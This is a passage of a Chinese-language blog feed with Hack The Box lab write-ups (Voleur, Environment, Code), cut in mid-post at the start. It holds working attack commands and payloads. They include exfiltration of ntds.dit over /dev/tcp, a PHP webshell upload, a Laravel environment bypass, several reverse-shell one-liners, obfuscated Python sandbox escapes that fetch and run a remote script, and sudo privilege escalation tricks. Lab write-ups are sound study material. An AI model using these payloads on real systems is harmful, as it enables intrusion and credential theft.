❯ bloodhound-python -u jeremy.combs -p qT3V9pLXyN7W4m -k -ns 10.10.11.76 -c All -d voleur.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 13 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: [Errno Connection error (10.10.11.76:445)] timed out
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
ERROR: Unhandled exception in computer DC.voleur.htb processing: Error occurs while reading from remote(104)
INFO: Traceback (most recent call last):
  File &quot;/usr/lib/python3/dist-packages/impacket/nmb.py&quot;, line 986, in non_polling_read
    received = self._sock.recv(bytes_left)
ConnectionResetError: [Errno 104] Connection reset by peer

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File &quot;/usr/lib/python3/dist-packages/bloodhound/enumeration/computers.py&quot;, line 151, in process_computer
    c.rpc_close()
    ~~~~~~~~~~~^^
  File &quot;/usr/lib/python3/dist-packages/bloodhound/ad/computer.py&quot;, line 459, in rpc_close
    self.smbconnection.logoff()
    ~~~~~~~~~~~~~~~~~~~~~~~~~^^
  File &quot;/usr/lib/python3/dist-packages/impacket/smbconnection.py&quot;, line 347, in logoff
    return self._SMBConnection.logoff()
           ~~~~~~~~~~~~~~~~~~~~~~~~~~^^
  File &quot;/usr/lib/python3/dist-packages/impacket/smb3.py&quot;, line 1617, in logoff
    ans = self.recvSMB(packetID)
  File &quot;/usr/lib/python3/dist-packages/impacket/smb3.py&quot;, line 557, in recvSMB
    return self.recvSMB(packetID)
           ~~~~~~~~~~~~^^^^^^^^^^
  File &quot;/usr/lib/python3/dist-packages/impacket/smb3.py&quot;, line 514, in recvSMB
    data = self._NetBIOSSession.recv_packet(self._timeout)
  File &quot;/usr/lib/python3/dist-packages/impacket/nmb.py&quot;, line 917, in recv_packet
    data = self.__read(timeout)
  File &quot;/usr/lib/python3/dist-packages/impacket/nmb.py&quot;, line 1004, in __read
    data = self.read_function(4, timeout)
  File &quot;/usr/lib/python3/dist-packages/impacket/nmb.py&quot;, line 990, in non_polling_read
    raise NetBIOSError(&apos;Error occurs while reading from remote&apos;, ERRCLASS_OS, ex.errno)
impacket.nmb.NetBIOSError: Error occurs while reading from remote(104)

INFO: Done in 01M 21S
INFO: Compressing output into 20250711072323_bloodhound.zip

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来jeremy也在SECOND LINE TECHNICIANS组，登录到SMB&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-smbclient -k dc.voleur.htb                       
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use IT
# ls
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 .
drw-rw-rw-          0  Mon Jun 30 17:08:33 2025 ..
drw-rw-rw-          0  Thu Jan 30 11:11:29 2025 Third-Line Support
# cd Third-Line Support
# ls
drw-rw-rw-          0  Thu Jan 30 11:11:29 2025 .
drw-rw-rw-          0  Wed Jan 29 04:10:01 2025 ..
-rw-rw-rw-       2602  Thu Jan 30 11:11:29 2025 id_rsa
-rw-rw-rw-        186  Thu Jan 30 11:07:35 2025 Note.txt.txt
# get id_rsa
# get Note.txt.txt
# 

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看一下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ chmod 600 id_rsa                                                                               

[root@Hacking] /home/kali/Voleur  
❯ ssh-keygen -y -f ./id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCoXI8y9RFb+pvJGV6YAzNo9W99Hsk0fOcvrEMc/ij+GpYjOfd1nro/ZpuwyBnLZdcZ/ak7QzXdSJ2IFoXd0s0vtjVJ5L8MyKwTjXXMfHoBAx6mPQwYGL9zVR+LutUyr5fo0mdva/mkLOmjKhs41aisFcwpX0OdtC6ZbFhcpDKvq+BKst3ckFbpM1lrc9ZOHL3CtNE56B1hqoKPOTc+xxy3ro+GZA/JaR5VsgZkCoQL951843OZmMxuft24nAgvlzrwwy4KL273UwDkUCKCc22C+9hWGr+kuSFwqSHV6JHTVPJSZ4dUmEFAvBXNwc11WT4Y743OHJE6q7GFppWNw7wvcow9g1RmX9zii/zQgbTiEC8BAgbI28A+4RcacsSIpFw2D6a8jr+wshxTmhCQ8kztcWV6NIod+Alw/VbcwwMBgqmQC5lMnBI/0hJVWWPhH+V9bXy0qKJe7KA4a52bcBtjrkKU7A/6xjv6tc5MDacneoTQnyAYSJLwMXM84XzQ4us= svc_backup@DC


[root@Hacking] /home/kali/Voleur  
❯ cat Note.txt.txt 
Jeremy,

I&apos;ve had enough of Windows Backup! I&apos;ve part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin#  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看到密钥是svc_backup用户的，并且之前端口扫描开放了2222端口，尝试连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; [root@Hacking] /home/kali/Voleur  
❯ ssh -i id_rsa svc_backup@voleur.htb -p 2222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现/mnt中挂载了C盘
进入到之前THIRD-LINE
发现了SYSTEM和NTDS
直接传出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory$ cat ntds.dit &amp;gt; /dev/tcp/10.10.16.48/8888

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups/registry$ cat SYSTEM  &amp;gt; /dev/tcp/10.10.16.48/8888

[root@Hacking] /home/kali/Voleur  
❯ nc -lvnp 8888 &amp;gt; ntds.dit
listening on [any] 8888 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.76] 61968

[root@Hacking] /home/kali/Voleur  
❯ nc -lvnp 8888 &amp;gt; SYSTEM  
listening on [any] 8888 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.76] 61993
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地破解哈希&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@Hacking] /home/kali/Voleur  
❯ impacket-secretsdump -ntds ntds.dit -system SYSTEM local                                                                                    ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:&amp;lt;hidden&amp;gt;:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\marie.bryant:1104:aad3b435b51404eeaad3b435b51404ee:53978ec648d3670b1b83dd0b5052d5f8:::
voleur.htb\lacey.miller:1105:aad3b435b51404eeaad3b435b51404ee:2ecfe5b9b7e1aa2df942dc108f749dd3:::
voleur.htb\svc_ldap:1106:aad3b435b51404eeaad3b435b51404ee:0493398c124f7af8c1184f9dd80c1307:::
voleur.htb\svc_backup:1107:aad3b435b51404eeaad3b435b51404ee:f44fe33f650443235b2798c72027c573:::
voleur.htb\svc_iis:1108:aad3b435b51404eeaad3b435b51404ee:246566da92d43a35bdea2b0c18c89410:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
Administrator:des-cbc-md5:459d836b9edcd6b0
DC$:aes256-cts-hmac-sha1-96:65d713fde9ec5e1b1fd9144ebddb43221123c44e00c9dacd8bfc2cc7b00908b7
DC$:aes128-cts-hmac-sha1-96:fa76ee3b2757db16b99ffa087f451782
DC$:des-cbc-md5:64e05b6d1abff1c8
krbtgt:aes256-cts-hmac-sha1-96:2500eceb45dd5d23a2e98487ae528beb0b6f3712f243eeb0134e7d0b5b25b145
krbtgt:aes128-cts-hmac-sha1-96:04e5e22b0af794abb2402c97d535c211
krbtgt:des-cbc-md5:34ae31d073f86d20
voleur.htb\ryan.naylor:aes256-cts-hmac-sha1-96:0923b1bd1e31a3e62bb3a55c74743ae76d27b296220b6899073cc457191fdc74
voleur.htb\ryan.naylor:aes128-cts-hmac-sha1-96:6417577cdfc92003ade09833a87aa2d1
voleur.htb\ryan.naylor:des-cbc-md5:4376f7917a197a5b
voleur.htb\marie.bryant:aes256-cts-hmac-sha1-96:d8cb903cf9da9edd3f7b98cfcdb3d36fc3b5ad8f6f85ba816cc05e8b8795b15d
voleur.htb\marie.bryant:aes128-cts-hmac-sha1-96:a65a1d9383e664e82f74835d5953410f
voleur.htb\marie.bryant:des-cbc-md5:cdf1492604d3a220
voleur.htb\lacey.miller:aes256-cts-hmac-sha1-96:1b71b8173a25092bcd772f41d3a87aec938b319d6168c60fd433be52ee1ad9e9
voleur.htb\lacey.miller:aes128-cts-hmac-sha1-96:aa4ac73ae6f67d1ab538addadef53066
voleur.htb\lacey.miller:des-cbc-md5:6eef922076ba7675
voleur.htb\svc_ldap:aes256-cts-hmac-sha1-96:2f1281f5992200abb7adad44a91fa06e91185adda6d18bac73cbf0b8dfaa5910
voleur.htb\svc_ldap:aes128-cts-hmac-sha1-96:7841f6f3e4fe9fdff6ba8c36e8edb69f
voleur.htb\svc_ldap:des-cbc-md5:1ab0fbfeeaef5776
voleur.htb\svc_backup:aes256-cts-hmac-sha1-96:c0e9b919f92f8d14a7948bf3054a7988d6d01324813a69181cc44bb5d409786f
voleur.htb\svc_backup:aes128-cts-hmac-sha1-96:d6e19577c07b71eb8de65ec051cf4ddd
voleur.htb\svc_backup:des-cbc-md5:7ab513f8ab7f765e
voleur.htb\svc_iis:aes256-cts-hmac-sha1-96:77f1ce6c111fb2e712d814cdf8023f4e9c168841a706acacbaff4c4ecc772258
voleur.htb\svc_iis:aes128-cts-hmac-sha1-96:265363402ca1d4c6bd230f67137c1395
voleur.htb\svc_iis:des-cbc-md5:70ce25431c577f92
voleur.htb\jeremy.combs:aes256-cts-hmac-sha1-96:8bbb5ef576ea115a5d36348f7aa1a5e4ea70f7e74cd77c07aee3e9760557baa0
voleur.htb\jeremy.combs:aes128-cts-hmac-sha1-96:b70ef221c7ea1b59a4cfca2d857f8a27
voleur.htb\jeremy.combs:des-cbc-md5:192f702abff75257
voleur.htb\svc_winrm:aes256-cts-hmac-sha1-96:6285ca8b7770d08d625e437ee8a4e7ee6994eccc579276a24387470eaddce114
voleur.htb\svc_winrm:aes128-cts-hmac-sha1-96:f21998eb094707a8a3bac122cb80b831
voleur.htb\svc_winrm:des-cbc-md5:32b61fb92a7010ab
[*] Cleaning up... 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后请求票据，进行winrm登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT voleur.htb/&apos;administrator&apos; -hashes &apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Environment</title><link>https://sinqwq.top/posts/htb-environment/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-environment/</guid><description>Htb-Environment</description><pubDate>Sat, 12 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.67 

10.10.11.67:22 open
10.10.11.67:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.67        code:301 len:169    title:301 Moved Permanently 跳转url: http://environment.htb

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.67 -p- --min-rate=5000 -A

Nmap scan report for environment.htb (10.10.11.67)
Host is up (0.47s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT       ADDRESS
1   289.15 ms 10.10.16.1
2   510.59 ms environment.htb (10.10.11.67)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.42 seconds

                                                                  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;路径扫描&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dirsearch -u http://environment.htb/  

10:14:55] Starting:                                                                                             
[10:15:03] 403 -  555B  - /%2e%2e;/test                                     
[10:15:38] 403 -  555B  - /admin/.config                                    
[10:15:58] 403 -  555B  - /admrev/.ftppass                                  
[10:15:58] 403 -  555B  - /admpar/.ftppass                                  
[10:16:07] 403 -  555B  - /bitrix/.settings                                 
[10:16:07] 403 -  555B  - /bitrix/.settings.bak
[10:16:07] 403 -  555B  - /bitrix/.settings.php.bak
[10:16:11] 301 -  169B  - /build  -&amp;gt;  http://environment.htb/build/         
[10:16:11] 403 -  555B  - /build/                                           
[10:16:33] 403 -  555B  - /ext/.deps                                        
[10:16:34] 200 -    0B  - /favicon.ico                                      
[10:16:45] 200 -    2KB - /index.php/login/                                 
[10:16:50] 403 -  555B  - /lib/flex/uploader/.flexProperties                
[10:16:50] 403 -  555B  - /lib/flex/uploader/.project                       
[10:16:50] 403 -  555B  - /lib/flex/uploader/.actionScriptProperties
[10:16:50] 403 -  555B  - /lib/flex/uploader/.settings
[10:16:50] 403 -  555B  - /lib/flex/varien/.settings                        
[10:16:50] 403 -  555B  - /lib/flex/varien/.actionScriptProperties
[10:16:50] 403 -  555B  - /lib/flex/varien/.flexLibProperties
[10:16:50] 403 -  555B  - /lib/flex/varien/.project
[10:16:53] 200 -    2KB - /login                                            
[10:16:53] 200 -    2KB - /login/                                           
[10:16:54] 302 -  358B  - /logout  -&amp;gt;  http://environment.htb/login         
[10:16:54] 302 -  358B  - /logout/  -&amp;gt;  http://environment.htb/login        
[10:16:55] 403 -  555B  - /mailer/.env                                      
[10:17:20] 403 -  555B  - /resources/.arch-internal-preview.css             
[10:17:20] 403 -  555B  - /resources/sass/.sass-cache/
[10:17:21] 200 -   24B  - /robots.txt                                       
[10:17:31] 301 -  169B  - /storage  -&amp;gt;  http://environment.htb/storage/     
[10:17:31] 403 -  555B  - /storage/                                         
[10:17:39] 403 -  555B  - /twitter/.env                                     
[10:17:41] 405 -  245KB - /upload                                           
[10:17:41] 405 -  245KB - /upload/                                          
[10:17:43] 403 -  555B  - /vendor/  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入登录页，进行抓包，可以看到直接带出了报错信息
这段代码的意思是在 &lt;strong&gt;Laravel&lt;/strong&gt; 中，如果当前环境是 &lt;code&gt;&quot;preprod&quot;&lt;/code&gt;（预生产环境），就自动登录为 &lt;code&gt;user_id = 1&lt;/code&gt; 的用户，并跳转到管理后台页面。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cybersecurity-help.cz/vdb/SB20241112127&quot;&gt;Environment manipulation via query string in Laravel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Nyamort/CVE-2024-52301&quot;&gt;Nyamort/CVE-2024-52301&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;只需要传入&lt;code&gt;GET&lt;/code&gt;参数即可绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /login?--env=preprod HTTP/1.1
Host: environment.htb

_token=JNCSO9ry4XvsQhVOhorOAtASyt4bQrqZAvy9paUx&amp;amp;email=a%40a.c&amp;amp;password=123&amp;amp;remember=True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入上传木马
但是呢，通过&lt;code&gt;url&lt;/code&gt;访问只会把文件下载下来，这里需要在&lt;code&gt;php&lt;/code&gt;后面再加一个点才能绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-----------------------------168307501742120550952749914248
Content-Disposition: form-data; name=&quot;upload&quot;; filename=&quot;123.php.&quot;
Content-Type: image/jpg

GIF89a
&amp;lt;?php eval($_GET[&quot;cmd&quot;]);?&amp;gt;

-----------------------------168307501742120550952749914248--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linux 反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system(&apos;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.86/4444 0&amp;gt;&amp;amp;1&quot;&apos;);
system(&apos;nc -e /bin/bash 10.10.16.86 4444&apos;);
$sock=fsockopen(&quot;10.10.16.86&quot;,4444);exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);
system(&quot;python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&quot;10.10.16.86\&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&quot;/bin/sh\&quot;,\&quot;-i\&quot;]);&apos;&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看到&lt;code&gt;backup&lt;/code&gt;目录里有一个&lt;code&gt;gpg&lt;/code&gt;文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@environment:/home/hish/backup$ ls -al
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 May  7 21:48 keyvault.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于当前&lt;code&gt;www-data&lt;/code&gt;用户无法在&lt;code&gt;/var/www&lt;/code&gt;目录下创建文件，因此指定目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 拷贝 hish 用户的密钥目录
cp -r /home/hish/.gnupg /tmp/mygnupg

# 2. 设置权限
chmod -R 700 /tmp/mygnupg

# 3. 确认是否存在私钥
gpg --homedir /tmp/mygnupg --list-secret-keys

# 4. 解密 keyvault.gpg
gpg --homedir /tmp/mygnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取到&lt;strong&gt;message.txt&lt;/strong&gt;，其中就有密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@environment:/tmp$ cat message.txt 
PAYPAL.COM -&amp;gt; Ihaves0meMon$yhere123
ENVIRONMENT.HTB -&amp;gt; marineSPm@ster!!    // password !!!
FACEBOOK.COM -&amp;gt; summerSunnyB3ACH!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hish@environment:~$ sudo -l
[sudo] password for hish: 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=&quot;ENV BASH_ENV&quot;, use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中可以看到&lt;code&gt;env_keep&lt;/code&gt;保留了&lt;code&gt;ENV&lt;/code&gt;和&lt;code&gt;BASH_ENV&lt;/code&gt;两个环境变量因此可以用于绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hish@environment:~$ echo &apos;bash -p&apos; &amp;gt; exp.sh
hish@environment:~$ chmod +x exp.sh 
hish@environment:~$ sudo BASH_ENV=./exp.sh /usr/bin/systeminfo 
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Code</title><link>https://sinqwq.top/posts/htb-code/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-code/</guid><description>Htb-Code</description><pubDate>Fri, 11 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;扫描一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.62

start infoscan
10.10.11.62:22 open
[*] alive ports len is: 1

sudo nmap 10.10.11.62 -p- --min-rate=5000 -A

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 19:25 UTC
Nmap scan report for 10.10.11.62
Host is up (0.41s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   447.87 ms 10.10.16.1
2   447.95 ms 10.10.11.62

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看5000端口，
发现是个python执行窗口
沙箱逃逸&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(&apos;&apos;.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[&apos;__buil&apos;+&apos;tins__&apos;][&apos;ev&apos;+&apos;al&apos;](&apos;__imp&apos;+&apos;ort__(&quot;o&apos;+&apos;s&quot;).po&apos;+&apos;pen(&quot;ls /&quot;).re&apos;+&apos;ad()&apos;))

print(&apos;&apos;.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[&apos;__buil&apos;+&apos;tins__&apos;][&apos;ev&apos;+&apos;al&apos;](&apos;__imp&apos;+&apos;ort__(&quot;o&apos;+&apos;s&quot;).po&apos;+&apos;pen(&quot;wget 10.10.xx.xx/shell.sh -O /tmp/shell.sh&quot;).re&apos;+&apos;ad()&apos;))

print(&apos;&apos;.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[&apos;__buil&apos;+&apos;tins__&apos;][&apos;ev&apos;+&apos;al&apos;](&apos;__imp&apos;+&apos;ort__(&quot;o&apos;+&apos;s&quot;).po&apos;+&apos;pen(&quot;bash /tmp/shell.sh&quot;).re&apos;+&apos;ad()&apos;))

print(&apos;&apos;.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[&apos;__buil&apos;+&apos;tins__&apos;][&apos;ev&apos;+&apos;al&apos;](&apos;__imp&apos;+&apos;ort__(&quot;o&apos;+&apos;s&quot;).sys&apos;+&apos;tem(\&apos;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.86/4444 0&amp;gt;&amp;amp;1&quot;\&apos;)&apos;))

print(&apos;&apos;.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[&apos;__buil&apos;+&apos;tins__&apos;][&apos;ev&apos;+&apos;al&apos;](&apos;__imp&apos;+&apos;ort__(&quot;o&apos;+&apos;s&quot;).sys&apos;+&apos;tem(__imp&apos;+&apos;ort__(&quot;ba&apos;+&apos;se64&quot;).b64&apos;+&apos;decode(&quot;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44Ni80NDQ0IDA+JjE=&quot;).de&apos;+&apos;code())&apos;))

obj = globals()[&quot;__buil&quot; + &quot;tins__&quot;][&apos;ev&apos;+&apos;al&apos;]
result = obj(&apos;__imp&apos;+&apos;ort__(&quot;o&apos;+&apos;s&quot;).pop&apos;+&apos;en(&quot;ls&quot;).rea&apos;+&apos;d()&apos;)
print(result) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;python升级shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
# 或者
script /dev/null -c bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看database.db
hashcat爆破&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 0 hash /usr/share/wordlists/rockyou.txt  
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看脚本内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo &quot;Usage: $0 &amp;lt;task.json&amp;gt;&quot;
    exit 1
fi

json_file=&quot;$1&quot;

if [[ ! -f &quot;$json_file&quot; ]]; then
    /usr/bin/echo &quot;Error: File &apos;$json_file&apos; not found.&quot;
    exit 1
fi

allowed_paths=(&quot;/var/&quot; &quot;/home/&quot;)

updated_json=$(/usr/bin/jq &apos;.directories_to_archive |= map(gsub(&quot;\\.\\./&quot;; &quot;&quot;))&apos; &quot;$json_file&quot;)

/usr/bin/echo &quot;$updated_json&quot; &amp;gt; &quot;$json_file&quot;

directories_to_archive=$(/usr/bin/echo &quot;$updated_json&quot; | /usr/bin/jq -r &apos;.directories_to_archive[]&apos;)

is_allowed_path() {
    local path=&quot;$1&quot;
    for allowed_path in &quot;${allowed_paths[@]}&quot;; do
        if [[ &quot;$path&quot; == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path &quot;$dir&quot;; then
        /usr/bin/echo &quot;Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed.&quot;
        exit 1
    fi
done

/usr/bin/backy &quot;$json_file&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本的内容如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;检查参数&lt;/strong&gt;：如果没有传入文件参数，输出用法说明并退出。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件存在性检查&lt;/strong&gt;：检查 &lt;code&gt;task.json&lt;/code&gt; 文件是否存在，若不存在则报错退出。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理 JSON 文件&lt;/strong&gt;：使用 &lt;code&gt;jq&lt;/code&gt; 移除 &lt;code&gt;directories_to_archive&lt;/code&gt; 中的 &lt;code&gt;../&lt;/code&gt;，并更新文件内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证目录&lt;/strong&gt;：遍历 &lt;code&gt;directories_to_archive&lt;/code&gt; 中的目录，确保它们在允许的路径 &lt;code&gt;/var/&lt;/code&gt; 或 &lt;code&gt;/home/&lt;/code&gt; 下。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行备份&lt;/strong&gt;：如果所有目录验证通过，执行 &lt;code&gt;backy.sh&lt;/code&gt; 备份操作。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这里可以使用双写绕过**../&lt;strong&gt;，创建一个&lt;/strong&gt;task.json**&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;directories_to_archive&quot;: [
    &quot;/home/..././root/&quot; 
  ],
  &quot;destination&quot;: &quot;/tmp&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/bin/backy.sh /tmp/1.json
tar -xjf 1.tar.bz2
&lt;/code&gt;&lt;/pre&gt;
